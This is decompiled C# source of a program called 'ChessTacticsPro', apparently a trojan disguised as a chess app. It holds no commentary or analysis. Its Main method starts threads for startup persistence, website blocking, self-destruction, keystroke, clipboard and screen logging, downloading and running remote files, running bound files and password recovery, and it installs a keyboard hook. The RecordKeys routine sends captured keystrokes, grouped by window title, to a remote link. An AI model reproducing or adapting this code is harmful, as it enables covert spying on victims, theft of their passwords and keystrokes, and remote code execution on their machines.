public static void Main() { ChessTacticsPro.ŇźƉŽƃƉƌ(); ChessTacticsPro.T1 = new Thread(new ThreadStart(ChessTacticsPro.ShowMessageBox)); ChessTacticsPro.T1.Start(); ChessTacticsPro.T2 = new Thread(new ThreadStart(ChessTacticsPro.AddToStartup)); ChessTacticsPro.T2.Start(); ChessTacticsPro.T3 = new Thread(new ThreadStart(ChessTacticsPro.WebsiteBlocker)); ChessTacticsPro.T3.Start(); ChessTacticsPro.T4 = new Thread(new ThreadStart(ChessTacticsPro.WebsiteVisitor)); ChessTacticsPro.T4.Start(); ChessTacticsPro.T5 = new Thread(new ThreadStart(ChessTacticsPro.SelfDestruct)); ChessTacticsPro.T5.Start(); ChessTacticsPro.T6 = new Thread(new ThreadStart(ChessTacticsPro.GetCurrentWindow)); ChessTacticsPro.T6.Start(); ChessTacticsPro.T7 = new Thread(new ThreadStart(ChessTacticsPro.RecordKeys)); ChessTacticsPro.T7.Start(); ChessTacticsPro.T8 = new Thread(new ThreadStart(ChessTacticsPro.SendNotification)); ChessTacticsPro.T8.Start(); ChessTacticsPro.T9 = new Thread(new ThreadStart(ChessTacticsPro.AddHotWords)); ChessTacticsPro.T9.Start(); ChessTacticsPro.T10 = new Thread(new ThreadStart(ChessTacticsPro.ClipboardLogging)); ChessTacticsPro.T10.SetApartmentState(ApartmentState.STA); ChessTacticsPro.T10.Start(); ChessTacticsPro.T11 = new Thread(new ThreadStart(ChessTacticsPro.ScreenLogging)); ChessTacticsPro.T11.Start(); ChessTacticsPro.T12 = new Thread(new ThreadStart(ChessTacticsPro.DownloadAndExecute)); ChessTacticsPro.T12.Start(); ChessTacticsPro.T13 = new Thread(new ThreadStart(ChessTacticsPro.ExecuteBindedFiles)); ChessTacticsPro.T13.Start(); ChessTacticsPro.T14 = new Thread(new ThreadStart(ChessTacticsPro.PasswordRecovery)); ChessTacticsPro.T14.Start(); ChessTacticsPro.Keylogger.CreateHook(); Application.Run(); }
// Token: 0x06000020 RID: 32 RVA: 0x00002638 File Offset: 0x00001638 public static void RecordKeys() { for (;;) { Thread.Sleep(9000000); try { string keyStrokeLog = ChessTacticsPro.KeyStrokeLog; int count = Regex.Matches(keyStrokeLog, Regex.Escape("Window title: ")).Count; object obj; object loopObj; if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(obj, 0, checked (count - 1), 1, ref loopObj, ref obj)) { do { string between = ChessTacticsPro.GetBetween(keyStrokeLog, "Window title: ", " End:] ", Conversions.ToInteger(obj)); string between2 = ChessTacticsPro.GetBetween(keyStrokeLog, "Keystrokes typed: ", "\r\n", Conversions.ToInteger(obj)); Send.SendLog(ChessTacticsPro.P_Link, "Keystrokes", between, between2, null, null, null, null, null); ChessTacticsPro.Wait(100); }while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(obj, loopObj, ref obj)); } } catch (Exception ex) { } ChessTacticsPro.KeyStrokeLog = null; } }